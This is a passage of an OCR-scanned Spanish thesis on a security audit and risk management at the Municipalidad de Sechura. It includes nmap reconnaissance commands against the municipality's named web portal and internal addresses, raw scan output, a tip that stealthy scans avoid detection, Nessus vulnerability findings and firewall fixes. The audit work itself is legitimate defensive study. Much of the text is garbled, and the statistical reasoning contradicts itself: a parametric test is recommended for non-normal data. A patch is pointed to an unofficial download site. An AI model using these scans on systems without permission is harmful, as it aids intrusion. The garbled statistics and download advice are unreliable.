e Si el valor de p>0,05 se acepta la Ho y se anula la Ha.
Tabla 11. Prueba de normalidad (Shapiro Wilk)

Shapiro-Wilk
Estadistic )
Sig.
]

PRE-TEST _ POST-TEST ldentificar la cifra de
riesgos en la municipalidad de Sechura.

PRE-TEST _ POST-TEST Analizar los riesgos de

la seguridad

PRE-TEST _ POST-TEST Mitigar la cifra de

riesgos tratados para prevenir riesgos en los 565 25 000

625 25 000

384 25 000

sistemas o equipos informaticos.
PRE-TEST _ POST-TEST V.D Gestidn de

445 25 000
Riesgos

Fuente elaboracién propia de SPSS

Segun los resultados de los datos del software SPSS nos reporta que en los
indicadores y variables p<0.05, entonces aceptamos la Ha, esto quiere decir que
los datos vienen de una distribucion que es no normal, estos resultados
obtenidos nos indican que es recomendado utilizar la prueba paramétrica T —
Student.
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T-STUDENT

Permite comparar los datos de la muestra segun la N sea menor o igual a 30,
estableciendo las diferencias a la media.

Tabla 12. Diferenciar la media (t-student)

Diferencias Emparejadas

95% de intervalo

de confianza de la

Sig. Diferencia diferencia
t gl (bilateral) de medias Inferior Superior
PRE-TEST _POST-TEST -15501 24 000 1,160 -1,01 1.3

V.D Gestidn de Riesgos

Fuente elaboracién propia de SPSS

En la tabla desarrollamos la demostracion paramétrica de la formula T — Student
se realiz6 para confirmar realmente de la implementacién de seguridad de la
informacién para mejorar la gestion de riesgos de Tl en la Municipalidad de
Sechura, con el pretest y lo opuesto se obtiene el valor de la prueba T — Student
t(24)=-15,501, siendo p<0.01. Esto nos indica que hay diferenciacion
sumamente relevante entre el pretest y post-test. Esta evidencia sirve para

rechazar o denegar la Ho, siendo asi se esta aceptando la Ha de los autores.
Hipotesis del investigador:

Ho: La implementacion de seguridad de la informacion no mejoraré la gestion de

riesgos en la municipalidad de Sechura.

Ha: La implementacion de seguridad de la informacion mejorara la gestion de

riesgos de Tl en la municipalidad de Sechura.
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V. DISCUSION

En esta investigacion como hipotesis general tenemos que la implementacion
de seguridad de la informacion mejorara la gestién de riesgos en los sistemas

de la municipalidad de Sechura.

Esto se realizé aplicando un cuestionario a 25 empleados de la municipalidad
de Sechura. Entonces si observamos la tabla N° 10 que es la variable
dependiente (Gestion de riesgos) se observa que antes se calificaba como en
un nivel regular y nivel malo, entonces para mejorar la gestiéon de los riesgos se
logré identificarse en el post-test en un nivel bueno con una cifra de 100%, esto
indicé que se logré mejorar la gestion de peligros o riesgos en la municipalidad
de Sechura, pero para asegurarnos que la variable viene de una hipotesis
alternativa es decir que se tomo la investigacion de los autores que realizaron la
investigacion debemos observar la tabla 12 donde sacamos la diferencia junto
con la significancia bilateral en cifra de ,000 esto indica que esta por debajo del
alfa (>0.05) confirmado se asi que existe una diferencia muy significativa que la
variable gestién de riesgos si se aceptd como hipétesis alternativa es decir se

tomo6 muy en cuenta la investigacion que fue desarrollada por los autores.

Cuando se logra consolidar la variable independiente que es seguridad de la
informacion se genera una mayor significancia debido a que se ajusta y ayuda
mucho en resolver los problemas de la seguridad permitiendo mejorar de la
gestion de riesgos. Considerando la informacion del investigador pasamos a
manifestar que (Shonerly Bustamante 2021) en su investigacion aplica una
encuesta a una muestra de 30 empleados donde el 90% de encuestados
reconocio que mejoro el nivel de proteccion de informacion un nivel significativo
mejorando la proteccion de informacion ademas utilizé T Student y tuvo un valor

menor a 0.05 aceptado su investigacion realizada por el autor.
Indicador 1: Identificar la cifra de riesgos informaticos de la municipalidad.

En los resultados de nuestro primer indicador debemos dirigirnos a la tabla N° 7
donde se puede deducir que antes no se realizaban ninguna auditoria de
seguridad ni mucho menos identificaba la cifra de riesgo quiere decir que no se

tomd en cuenta el poder identificar los riesgos informaticos en la municipalidad
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teniendo un resultado de 40% en un nivel regular pero también un 60% en un
nivel malo esto se debe a que no se realizaban auditorias de seguridad o ethical

hacking poniendo en riesgo la informacion de los diferentes sistemas.

Para poder cambiar esto los investigadores tuvieron que realizar una auditoria
de seguridad para posteriormente identificar la cifra de riesgos que se
encuentran dentro de la organizacién de acuerdo a nuestro variable seguridad
de la informacion con la ayuda y uso de la herramientas de pentesting como son
Nessus y con la ayuda de herramientas de OSIN ejecutada en la distro de Linux
y la variable dependiente aplicando el cuestionario se logro identificar las
amenazas y vulnerabilidades a un 100% de nivel bueno, esto permitié saber a
qgué peligro y riesgos cibernéticos se encuentra la municipalidad.

El autor (Crespo Martinez 2021) en su articulo llamado andlisis de
vulnerabilidades con SQLMAP detalla que identific6 multiples vulnerabilidades
en los sistemas con el fin de identificar cuéles son las amenazas y
vulnerabilidades en el que se encuentra la organizacion estos fallos o amenazas
en los sistemas pone en riesgo la seguridad esto permite que un atacante pueda

ganar o tener acceso al sistema explotando la vulnerabilidad.
Indicador 2: Analizar los riesgos informaticos de la Municipalidad.

Respecto a segundo indicador debemos observar la tabla N° 8 donde nos indica
gue los resultados del indicador llamado analizar los riesgos informaticos de la
municipalidad de Sechura, segun la tabla nos reporta que en un nivel regular se
encuentra en un 88% a la vez también muestra la diferencia en un nivel de 12%
en nivel malo, pero al mejorar la gestion de riesgos la cifra fue de un nivel bueno
en un 100% esto indica que se logré analizar correctamente los riesgos que
fueron identificados del indicador 1 esto quiere decir que se logré identificar la
probabilidad e impacto de las amenazas y vulnerabilidades esto permitio
identificar el nivel de riesgo que se encuentra cada amenaza y el nivel de riesgo

asignando los niveles: Muy Alta, Alta, Moderado, Bajo y Muy Bajo.

Este paso es muy importante identificar ya que se estaria identificando el nivel
de peligro en el que se encuentra la organizacion cabe recalcar que los analisis

de riesgos informaticos salieron del identificador 1 es decir de los riesgos que
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fueron identificados ademas es muy importante mitigar los riesgos porque
cuando un atacante decide analizarlas tratando de identificar el punto critico para
gue empiece su explotacion de dicha vulnerabilidad permitiendo dejarle acceder
a los sistemas informético , a diferencia de (Shah Girdhar 2017) En su libro Kali
Linux Intrusion and explotacion cookbook explica que su principal objetivo fue
detectar una amplia gama de vulnerabilidades seguidamente hizo un analisis
para identificar en qué nivel de riesgo se encuentra las amenazas con el fin de
identificar que anomalias existen en temas de seguridad, ademas segun el
estado de riesgos concluy6 en un reporte para luego poder ser mitigada los

riesgos.

Indicador 3: Mitigar la cifra de riesgos tratados para prevenir riesgos en los

sistemas.

En el tercer indicador debemos observar la tabla N° 9 donde indica que se mitigd
la cifra de riesgos tratados con el fin de prevenir riesgos en los sistemas, ademas
en la variable independiente se logré identificar y analizar las amenazas junto
con las vulnerabilidades esto se logrdé con la ayuda de la herramientas que
fueron utilizadas en el sistema operativo Kali Linux donde se logré identifica y
mitigar las vulnerabilidades tanto a nivel de software, sistemas operativos como
también a nivel de red, pero también nos ayuddé a mitigar estos riesgos
identificados de acuerdo también con la variable gestion de riesgo a través de
nuestro estudio se logré mitigar la cifra de riesgos proponiendo soluciones ante
las vulnerabilidades y amenazas esto se logré con la estrategia que consiste en
las siguiente palabras: Asumir, Evitar, Transferir y Reducir el riesgo, ademas
esto implica para contar con una estrategia extra para poder seguir eliminando
mas adelante los riesgos informatico no solo a nivel de informacidn sino también

a nivel fisico logrando mejorar la gestion de riesgos.

A diferencia de los autores antes mencionados como son (Oriyano Philip 2017)
y (Shah Girdhar 2017) identificaron los riesgos utilizando herramientas de
escaneo de vulnerabilidades con el unico fin de descubrir los principales riesgos
estos autores a la vez aplicaron una mejora evaluando, brindando propuestas
de solucion y tomando medidas de seguridad aplicando protocolos de seguridad

para poder realizar y reducir los riesgos en un nivel aceptable con el Unico fin de
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mejorar la variable gestion de riesgos garantizando la integridad,
confidencialidad y la disponibilidad en las organizaciones y en los sistemas
informéticos, evitando ataques informaticos y proteger la informacion de los
atacantes es muy importante hoy en dia el mundo de la ciberseguridad debido
a que los ataque en los ultimos afios se han multiplicado en su mayoria con el
fin de apoderarse de la informacion valiosa o en algunos casos la informacion la
eliminan siendo mas perjudicado para las empresas y para las personas que se
sienten identificados con el nivel de trabajo en dicha empresa.
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VI. CONCLUSIONES

Al realizar esta investigacion se dice que la implementacion de seguridad de la
informacion mejoro la gestién de riesgos aceptando la hipétesis alternativa es
decir se aceptd el tema del investigador, teniendo como conclusiones lo

siguiente:

1. En la investigacion segun el primer objetivo se logro identificar la cifra de
riesgos informaticos a un nivel bueno en el identificando 11 amenazas y 28
vulnerabilidades, eso se realiz6 con la ayuda de las herramientas de
escaneo como son Nessus, Nmap y otras herramientas, esto quiere decir
gue se hizo una correcta auditoria de seguridad de la informacién. Por lo
cual, con la ayuda del cuestionario y las preguntas que se realizaron
ayudaron para poder identificar las respectivas vulnerabilidades y las
amenazas mejorando el objetivo general, entonces sabemos muy bien el
efecto negativo que se encuentra la Municipalidad de Sechura.

2. Como segundo resultado se logré analizar los riesgos informaticos, logrando
un bueno con la ayuda del cuestionario al analizar los riesgos informaticos
se logr6 identificar el impacto y la probabilidad de riesgos que existen en los
sistemas informético encontrando 7 riesgos en nivel muy alta, 13 en un nivel
alta, 7 en un nivel moderado y 1 en un nivel baja siendo asi es recomendable
darles una solucion a los riesgos de nivel critico para poder evitar dafios en
los sistemas asi poder evitar las amenazas.

3. En la tercera conclusion se logré mitigar la cifra de riesgos para prevenir
riesgos informéaticos se llevé a cabo con los conocimientos de seguridad de
la informacién aplicando protocolos de seguridad tanto en la red, portal web,
y en los equipos informaticos con el fin de minimizar las amenazas
identificadas anteriormente mejorando la proteccion de datos y mejorando la
gestion de riesgos. Ademas, se aplicaron politicas de seguridad de la
informacion y los métodos de ataque para poder saber como protegernos

ante los riesgos y ataques.
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VII.

1.

RECOMENDACIONES
Es recomendable seguir realizando auditorias de seguridad de la informacién
con el fin de seguir identificando posibles riesgos informaticos como son las
amenazas y vulnerabilidades que se presenten en el futuro ya que en cada
cierto tiempo aparecen nuevos riesgos informaticos comprometiendo los
activos de la informacion.
Es muy necesario hacerle seguimiento a los protocolos de seguridad como
son en el caso de los protocolos de cifrado de informacion debido a que estos
protocolos tienen una vigencia limite de 365 dias ademas se debe dar
actualizaciones las versiones mas recientes con el fin de mantener una
adecuada seguridad.
Es importante que el personal de la Municipalidad de Sechura sea
capacitado en temas de ciberseguridad donde tenga conocimiento sobre las
medidas de seguridad contra los ataques informaticos como son el phishing,
vishing y software con contenido de malware o c6digo malicioso.
Se deberian documentarse mas politicas de seguridad de la informacién con
el fin de identificar los mecanismos de seguridad ante los posibles ataques
para que personal de la Municipalidad conozca y tome en cuenta las politicas

de seguridad.
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ANEXOS

Tabla 13. Matriz de Operacionalizacion de variables
DIME ESCAL
VARIABLES DEFINICION CONCEPTUAL DEFINICION OPERACIONAL | NSIO | INDICADORES ADE
DE ESTUDIO MEDICI
N .
ON
Variable La seguridad de la informacién es un Medidas de prevencion y -La cifra del nimero de Razon
Independient | conjunto de normas, técnicas y medidas | proteccion ante una persona, vulnerabilidades.
e de seguridad para proteger y controlar los | tratando de minimizar los .
) " -Nivel de grado de
. datos que operan dentro de una riesgos. Permitiendo -
Seguridad de o . e . . vulnerabilidades.
| organizacion y asegurar que la identificar, analizar y mitigar
a ., informacion (Cienfuegos Solis 2017). vulnerabilidades, virus -Disminuir el nivel de
Informacion . o , i
informaticos. numero de vulnerabilidades
Variable Permite la obtencion de algunos impactos | La gestidon de riesgos permite -Identificar la cifra de Razon

Dependiente

Gestion de
Riesgos

sobre diferentes datos de informacion,
esta es la posibilidad de muchas
amenazas para explotar una
vulnerabilidad generando un impacto
negativo en los sistemas, tanto como
integridad nos permite tener recursos
importantes en las organizaciones y la
disponibilidad de gestion son
procedimientos basados en tecnologia de
cualquier software que son orientados a

a los profesionales tomar
decisiones en escenarios de
amenazas y vulnerabilidades,
esto permitira establecer
dimensiones y valores con
respecto a los activos de la
informacion asegurando la
continuidad de la organizacion
(Otoya y Flores 2017)

riesgos informaticos de la
municipalidad.

-Analizar los riesgos
informaticos de la
Municipalidad.

- Mitigar la cifra de riesgos
tratados para prevenir
riesgos en los sistemas.




una alta disponibilidad de tiempo.
(Guerra; Neira, 2021)




Tabla 14.

Matriz de consistencia

VARIABL
TITULO PROBLEMA OBJETIVOS HIPOTESIS ES INDICADORES ITEMS | METODOLOGIA
GENERAL: GENERAL: GENERAL: VI: VI: ENFOQUE:
¢ Por qué es Mei | i6n de | La imol tacid Seguridad | -La cifra del nUmero de Cuantitativo
necesario .ejorar a gestion dejla |m_p ementacion | 4o la | vulnerabilidades. -
implementar riesgos de Tl en la | Seguridad Informacio DISENO:
mecanismos y municipalidad de | mejorara la gestion n -Nivel de grado de Experimental-
implemen medidas de | Sechura mediante la de riesgos en los vulnerabilidades. Preexperimental
) : P sistemas de la o .
tacion de | Seguridad  de  la | implementacion de Municinalidad  de -Disminuir el nivel de TIPO:
seguridad | informacion para | seguridad  de  la Sech P ndmero de Aplicada
de la | mejorar la gestion de | informacion. echura vulnerabilidades.
informaci | i€sgos  en  los . , ESPECIFICOS: MUESTRA:
, e Ui : f 't- ESPECIFICOS: 25 Sistemas
6n para | €quipos informaticos - VD: VD: 15 : B
i de la Municipalidad i i -Identificar los ” . _ informaticos.
mejorar la g Hura? P -Identificar la cifra de fesgos en los | Gestion de | -Identificar la cifra de
gestion de | de Sechura: riesgos en  la} o2 Riesgos | riesgos informaticos de MUESTREO:
riesgos de municipalidad de | &t rmaticos la municipalidad de No probabilistico
Tl en la Sechura. ' Sechura.
Municipali -Analizar los riesgos | -analizar para _ _ TECNICAS E
dad de informaticos  de  la | identificar el nivel -Analizar los riesgos 6-15 INSTRUMENTO
Sechura. Municipalidad. de riesgo en el que lnfor_m_atlc_os dela DE )
2022 - Mitigar la cifra de|se encuentra la Municipalidad EECOLECCE:)I,Z\)TNOS'
riesgos tratados para | municipalidad. - Mitigar la cifra de 16-20 | cyestionari '
p_revenir riesgos en los | -mitigar los riesgos riesgos tratados para Erl:(?j(gg?aano
sistemas. tratados  para prevenir riesgos en los
reducir los riesgos sistemas. ESCALA:

informaticos.

Razén




Tabla 15. Indicadores de variable dependiente
Indicador Objetivo Técnica/ Modo de calculo
Instrumento
Identificar la cifra de Identificar y dar a Encuesta/
riesgos en la conocer los riesgos que | Cuestionario
municipalidad de puedan provocar R=Amenazas + Vulnerabilidades
Sechura. posibles problemas o
consecuencias.
Analizar los riesgos Evaluar la categoria o Encuesta/

informaticos de la

Municipalidad

grado de impacto de los

riesgos analizados

Cuestionario

R= Vulnerabilidad * Amenaza

Mitigar la cifra de
riesgos tratados para
prevenir riesgos en los

sistemas.

Asumir la
responsabilidad segun
el nivel de riesgo que se

encuentra

Encuesta/

Cuestionario

MCRT= Mitigar la cifra de riesgos
tratados para prevenir riesgos en

los sistemas.




Desarrollo de la seguridad de la informacion

Una empresa sin seguridad en sus equipos informatico es una empresa que va a
la deriva debido a que hoy en dia es muy importante aplicar mecanismos de
seguridad y soluciones antes las vulnerabilidades esto es muy importante hoy en
dia porque los ataques informéticos se han multiplicado y las grandes y medianas
empresas son los perjudicado es por eso que debemos identificar las
vulnerabilidades para tratar de minimizar los riesgos en la organizacion y asi

proteger con confidencialidad, integridad y disponibilidad.

La triada de la seguridad de la informacién CID

Confidencialidad

Seguridad
de la informacion

Integridad Disponibilidad

Fuente: Triada de seguridad de la informacion

Confidencialidad; En términos de seguridad hace referencia a la obligacion de
ocultar o mantener informacion secreta, en ella se previene la divulgacion no

autorizada de datos importantes.

Integridad; El objetivo es prevenir las modificaciones no autorizadas en cuanto a

informacion.

Disponibilidad; En términos de seguridad hace referencia a la disponibilidad de

informacion a sélo personal autorizado.



La metodologia de la seguridad segun la CID (Seguridad Cero Certified)

% SEGURIDAD
CERO

2. Escaneo

5. Explotacion

6. Reporte

Fuente: Seguridad Cero

Para poder cumplir con estas fases se debe trabajar con el sistema operativo Kali
Linux debido a las herramientas que se utilizaran son compatibles con la

distribucién de Linux y estas complementaran con el desarrollo de cada fase.

FASE NRO 1: RECONOCIMIENTO
En esta fase es utilizada para hacer un reconocimiento tratando de obtener
informacion que nos sirva para las siguientes fases, esta fase permite obtener

informacion como es el nombre del administrador, correo, dominios y subdominios.

FOCA

Es una herramienta para extraer metadatos de una pagina web, los documento que

extrae soporta el paquete de Microsoft Office, PDF, etc.

Para crear un proyecto de extraccién de datos debemos colocar el nombre de la
pagina, su dominio y ademas la ubicacion de la carpeta donde se almacenaran los

datos.
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Con el resumen de la extraccién de metadatos se lograron encontrar 29 usuarios
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Documentos 322
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Folder 3
Impresoras 12
Software 26
Email 1

Solucidén: Para no divulgar nuestros datos a las redes social o paginas web cuando
vamos a subir un archivo (doc, txt, pdf, xIxs, etc.) debemos dirigirnos al archivo
luego dar clic derecho para dirigirnos a propiedades y posteriormente debemos
elegir detalle, donde encontraremos la casilla llamada “Quitar propiedades e

informacion personal”
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Siendo asi estariamos eliminando los metadatos de nuestros documentos y ahora

si podemos enviar nuestros archivos de forma segura a las redes o paginas web.

FASE NRO 2: ESCANEO

En esta fase se busco posibles direcciones de ataque, Esto pasa cuando se realizan
escaneos de puertos o servicios con el fin de examinar la red de forma auditada

con el tnico fin de descubrir fallas.

NMAP

Es un programa de cédigo abierto y sirve para efectuar un rastreo de puertos, para
determinar que hosts estan disponibles en la red, que servicios estan disponibles

ya sea sistemas operativos, puertos abiertos entre otras funciones.

En este caso se hara un escaneo de puertos para identificar la informacion sobre
la red local y saber qué servicios estan funcionando en dicha red, al identificar los
puertos de nuestro router podemos hacernos una idea general de como esta la red

Ahora, vamos a realizar un escaneo al portal web



Comando: nmap -sX -T4 portal.munisechura.gob.pe

Ddnde: -sX-T4 Identifica los puertos abiertos e identifica nombre del servidor

-T4 portal.munisechura.gob.pe

Nmap done: 1 IP addre

Se determiné que la salida muestra a todos los 1000 puertos abiertos para el host
portal y estan en estado ignorados, el puerto TCP esta abierto, ademas como
utilizan un servidor en la nube nos reporta el DNS 209.133.206.18, llamado
spirit.herosite.pro, esto indica el firewall esta desactivado, por lo tanto, es una

vulnerabilidad grave, ya que no tiene proteccion a cualquier amenaza externa.

El siguiente comando:

Comando:

arp -A

Donde:

Arp -A: Identifica la direccién IP, direccion fisica, y el tipo y los puertos que estan

sin uso.



n3!> arp

Interfaz: 192.168.6.10 --- ©x3
Direccién de Internet Direccidén fisica
192.168. -39-e9-ec dinamico
192.168. -da-22-7c dinamico
192.168. -1f-94-eb dinamico
192.168. -32-al1-a7 dinamico
192.168. -8e-7a-be dinamico
192.168. -fb-dc-2d dinamico
192.168. -ac-18-4a dinamico
192.168. -47-98-92 dinamico
-16-5c-F7 dinamico
-df-fb-cc dinamico
-85-cf-86 dinamico
-76-49-f@ dinamico
-89-07-e0 dinamico
-47-97-fc dinamico
-99-78-fe dinamico
-47-98-3F dinamico
-ab-be-4a dinamico
-86-28-6d dinamico
-fb-dc-59 dinamico
-8e-33-18 dinamico
-47-97-cc dinamico
-33-25-7e dinamico

192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.6.
=] 62
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Como se observa en el primer comando nos dice que el host no fue encontrado
esto se debe a que esa direccion esta siendo utilizada, en arp -a nos muestra un
listado de las direcciones que estan siendo utilizadas en este caso son las que no
se muestran y las que no estan siendo utilizadas son las que estan digitalizadas en

la pantalla.

El siguiente comando:

Comando:

nmap --script http-headers portal.munisechura.gob.pe

Donde:

--script http-headers permite visualizar los puertos abiertos y el tipo de servicio

que esta utilizando.
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En este caso el script realiza una solicitud HEAD para la carpeta raiz de un servidor
web en este caso de la municipalidad, la imagen muestra el puerto TCP que esta

abierto y ademas utiliza multiples servicios.

El siguiente comando:

Comando: nmap 192.168.6.10 192.168.6.13

Donde: nmap (IP) identifica el nimero de puertos, estado y servicios

Nmap done: 1 IP address pfowivoot S

PS C:\wWindows\system32> nmap 192 168 6 18 192 16
Starting Nmap 7.92 ( htipos —— =
e

Nmap scan report for 192.168.6.10©

Host is up (e 8001 6s latency).

MoSoasShoses Toemlooad eepports (reset)
PORT STATE SERVICE

86/ tcp open http

135/tcp open msSrpc

139/tcp open netbios-ssn

389/tcp open ldap

445/ tcp open microsoft-ds

636/ tcp open ldapss1

7e7e/tcp open realserver

Nmap scan report for 192 .168.6.13

s up (©.000688s latency) .
2R Fe At . nats (reset)
STATE SERVICE

open msrpc
open netbios-ssn
open microsoft-ds

ss4a4/tcp open rtsp

2869/ tcp open icslap

l1ez243/tcp open unknown

49152/tcp open unknown

49153 /tcp open unknown

49154/tcp open unknown

49155/ tcp open unknown

49156/ tcp open unknown

49157 /tcp open unknown

49158/ tcp unknown

MAC Addr = T F ¢ F2 (Intel Corporate)




En este caso tenemos muchos puertos abiertos es un grave riesgo debido a estos

hosts pueden ser explotados para intentar entrar a la red

Si usas nmap, se debe tener un permiso para escanear al objetivo, si se usa
escaneos frecuentemente, preparate para responder preguntas de tu proveedor de
internet ya que algunos proveedores identifican la rutina de NMAP, por eso es

recomendable hacer escaneos sigilosos ya que es menos detectable (-sS)

Solucién:

Winbox

Es una herramienta que nos permite monitorear y administrar la red en este caso
del router MIKROTIK, Winbox utiliza una interfaz gréafica dentro de ella también se
puede interactuar y dar permiso con comando de redes, esta herramienta permite

monitorear una red en este caso dar y denegar permisos y servicios.

Entonces para bloquear los puertos abiertos que se encontraron en el escaneo de
nmap, debemos configurar bien el firewall de Mikrotik a través de la herramienta
Winbox entonces debemos de bloquear los puertos que no son utilizados para
bloguear cualquier tipo de conexién entrante a través de ese puerto que esta sin

desuso.

Ejemplo: Si un atacante intenta entrar o insertar cédigo malicioso por el puerto
abierto no podran tener acceso debido a que los puertos estaran bloqueados por el
firewall segun las condiciones de configuracion que le vayamos a ingresar. Ahora
el riesgo también se puede interpretar de la siguiente manera: Si el atacante intenta
entrar por el puerto abierto tendra acceso total al sistema debido a que los puertos

no fueron bloqueado por una buena configuracion de firewall.

Entonces ya expresado un ejemplo pasaremos a dar solucion a esto riesgo de
seguridad que tiene la Municipalidad de Sechura, para ello debemos de ingresar a
Winbox.



Para ello primero se debe ingresar en IP luego a firewall después de ello debemos
hacer clic el boton azul del signo mas luego se nos abre una venta llamada nueva

regla de firewall

@ admin@®08:55:31:07:73:80 (MikroTik) - WinBox v6.45.9 on RB4011iGS+ (arm)
Session Settings Dashboard

[ cx| | safe Mode | Session:[192.168.6.1

& Quick Set New Firewal Rule = B3
NN | s | WA ol | | i | Ao S
™ Interfaces i — -

T Wirgless + ‘ Chan: BYRN] 4 [ Cancad |

&5 ‘!:ﬁun fi

2% Bridge | “m 17 Src. fddress: '?n:‘ard Apply .
o8 PPP 1+: defconf: accy Dut ;

= e - [ owe |
== Switch 1> defconf: acf |

12 Mesh 3 o acc Protocol: [t] |49157 fcp) ¥ A oy |
= - ... defconf: accy - — =
as P I e Pon
= = 4 o acc Cooy I
2’ MPLS f .- defconf: accf Dst. Port: % [E
4 move
42 Routing ) 6 ddca{ ’:‘; Any_Post: hd -
i System B3 pacc in. btedface: [ | |LAN 0 ¥ 4 [ Reset Courter |
. - |
B Gueues 5'“‘”;:2: Out. ktedface: [ [LAN 6 4 o U .
|| Fies
[ Log 'Z"dd‘:o;'::: In. Interface List: | | |all v 4
. RADIUS 112 defcont: drog Out. Interface List: | vl
A Tools f 5 % drog *|
- | i defconf: drog
& New Teminal 10 % drop] enabled
4} Dot1X .1: defconf: drogarronTyrERTTIOC D I TIYRTED

Para empezar a bloquear los puertos Mikrotik trabaja con tres reglas en el Chain,
ahora debemos colocar el tipo de puerto que se va a bloquear en este caso el puerto
TCP segun nuestro escaneo uno de los puertos abiertos y que estan sin usos es el
puerto numero 491557, ahora debemos aplicar el bloqueo de puerto a la

segmentacion 0 ya que es donde se encontraron los puertos abiertos.

New Firewal Rule

Genersl Advarced  Exra Acton | Saetcs

Action: |accept ¥ . Cancel
accept
add dst to address list Apply

add src to address list

Lo Prefix: Disable
fastirack connection
mp Comment
log
passthrough Copy
reject

Letiam Remave |

ta

| Reset Counters
Reset All Counters

enabled




Luego pasaremos al apartado ACTION donde vamos a dropear esa conexion del
puerto abierto antes mencionado denegando todo tipo de conexion y servicio del
puerto 491557. Luego clic en Apply — Ok y estariamos bloqueado el puerto
denegando todo tipo de servicio y conexion. Asi fue que se bloquearon los puertos

abiertos segun el escaneo que se hizo en nmap.

Ahora también debemos hacer algo mas en este caso debemos permitir el ping a
nuestro equipo generando el protocolo icmp, este protocolo sirve para diagnosticar

problemas de comunicacion en la red.

Gones | Advanced | Earm | Ackon | Sttt
G\Mn]omu 1 i Cancel

Sre 38 1 v [ e |

. T [ |
Disable

oo B8 Sla | oo

' D —

] | [_Remore |

Arw . Por ! v
lﬂlﬂ&f&c&' = l Reset Counters I

Como se observa estamos permitiendo que icmp este activo para que nos detente
los problemas que puedan existir en la conexion de los equipos al momento de

comunicarse entre si.

{add dst to address lst
add src to address st
Upg Prefix: drop

fasttrack connection

‘ Reset

| P Cories |

Reset Al Counters

3

Luego en Action lo vamos aceptar para que las peticiones de ping estén aceptadas

por nuestro firewall.



U — .

b = & % (1 T o00ResetCounters | 00Reset All Counters

# Action  |Chain Src. Address |Dst. Address |Proto... Src. Pot  Dst. Port  |in. inter... Out. Int... In Inter.. Out. Int.. |Src. Ad... |Dst. Ad... |Bytes

16 ¥ dop  forward 6 ftcp) 49152 49158 0B
;1 defconf: accept established related untracked
1 ' acc... nput 29.3KB
. defconf: accept ICMP
3 o acc... input 1c... 11888
.. defconf: accept to local loopback for CAPsMAN)
4 o acc... nput 127.0.0.1 0B
... defconf: accept in ipsec policy
6 o acc... forward 08
... defconf: accept out ipsec policy
7 o acc... forward 0B
... defconf: accept established related, untracked
9 o acc... forward 580.5 MiB
... defconf; drop invalid
2 R dop nput 1472 5KiB
... defconf: drop all not coming from LAN
5 ¥ dop  input ILAN 5.0KiB
.1. defconf; drop invalid

10 R dop  forward 9716 KB
;- defconf: drop all from WAN not DSTNATed

1 ® dop  forward WAN 0B

outinterface matcher not possble when intefface (LAN 10)is ;e maste ead bridoe

ot possble when inteface (LAN

possble when interface (LAN

5 {cp) 1;-1 LAN 6 08
6 ficp) 49156 528
192.168.70... (1]}

15
17

Ahora se observa en la configuracion de firewall se bloque6 y dropeo los puertos
TCP de la 49152 a la 49158 estos puertos fueron bloqueado por seguridad ademas
habilitamos el protocolo ICMP para poder reportarnos los problemas que puedan
ocurrir en las conexiones de comunicacién en la red de la Municipalidad. Ademas,
blogueamos una direccién IP que no estaba en la lista de direcciones IPS que era

del segmento 70.

Como punto final se logré bloguear los puertos con el Unico fin de mejorar la
seguridad en la red esto fue un paso muy importante debido a que bloqueamos

todos las conexiones entrantes mitigando los ataques por red.

FASE NRO 3: ENUMERACION

En este caso las vulnerabilidades son expuestas en ella identificamos el tipo de
version que tiene cada protocolo o servicio mostrando informacion del objetivo bajo

el ataque identificando los puntos de entrada.

Comando: nmap -sV 192.168.1.159



/home/linux
192.168.1.159
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-14 00:32 CET
Nmap scan report for 192.168.1.159
Host is up (0.00064s latency).

WUL Shuwi. 770 LLUSTu Lup puits wiescet)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
MAC Address: ID:D5:40 (Hewlett Packard)

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.32 seconds

Este comando abre otro apartado llamado version en este caso sirve para identificar
en que los nombres de la maquina en este caso un Windows 10 muy aparte de

identificar el servicio.

FASE NRO 4: ANALISIS

En este caso se identificaron las vulnerabilidades procesando toda la informacion
gue se identificaron, no solamente se identificaron si no que sabremos qué nivel de
riesgo contiene cada vulnerabilidad en este caso los niveles son; critico, alto, medio,

bajo. En ello nos establece saber que vulnerabilidad es méas peligrosa que otra.

Nessus
Este es un software de analisis de vulnerabilidades, ofrecido en linea en modo de
codigo abierto, incluye mas de 50,000 pruebas de vulnerabilidad, le permite
escanear las vulnerabilidades de varios sistemas y dispositivos, a través de una
interfaz intuitiva y facil de usar.

En primer lugar, es necesario descargar los plugin que vienen por defecto en la

herramienta de Nessus

( Ynessus

Inicializando

Espere mientras Nessus prepara los archivos
necesarios para escanear sus activos.

Descargando complementos...




Nessus es una herramienta de escaneo de vulnerabilidades fue construido desde

cero con una profunda comprension de como trabajan los profesionales de la

seguridad

Una vez descargado los plugin, se cre un nuevo proyecto con los datos principales

de la empresa y de la red.

Nombre I Municipalidad Sechura

Descripcion

Carpeta Ltis escanecs

Objetivos I 192.168.1.1 192.168.1.72 192.158.1,.96 192,1658.1,255 224.0.0,.252 I

Subir objetivos Agregar archivo

De acuerdo con el analisis y escaneo de vulnerabilidad en la red de la Municipalidad

Provincial de Sechura encontramos:

Nivel Alto

Nivel Medio

3

1

Informacion:

Nombre: Desktop-Cod

S.0O: Windows 10 para 64 Bits
RAM: 8, 16

Modelo: HP, MSI, DELL.

Vulnerabilidad Nro. 1:

Calificacion:

Critico.



Detalle de la vulnerabilidad:

De acuerdo con la version auto informada en el banner, Dropbear SSH que se

ejecuta en el host remoto es anterior a 2016.74. Por lo tanto, se ve afectado por las

siguientes vulnerabilidades:

e El error de formato de cadena ocurrié porque los especificadores de formato de
cadena (como %s y %X) se manejaron incorrectamente en los parametros de
nombre de usuario y host. Un atacante remoto no autorizado podria usar esta
vulnerabilidad para ejecutar cédigo arbitrario con privilegios de root. (CVE-2016-
7406)

e Error de Dropbearconvert causado por el manejo incorrecto de archivos de
claves OpenSSH especialmente disefiados. Un atacante remoto no autorizado
podria usar esta vulnerabilidad para ejecutar cédigo arbitrario. (CVE-2016-
7407).

Solucion:

Actualice a Dropbear SSH version 2016.74 o posterior para ello nos dirigimos a

https://appparapc.com/apk/4936398/ para descargar la version actualizada.

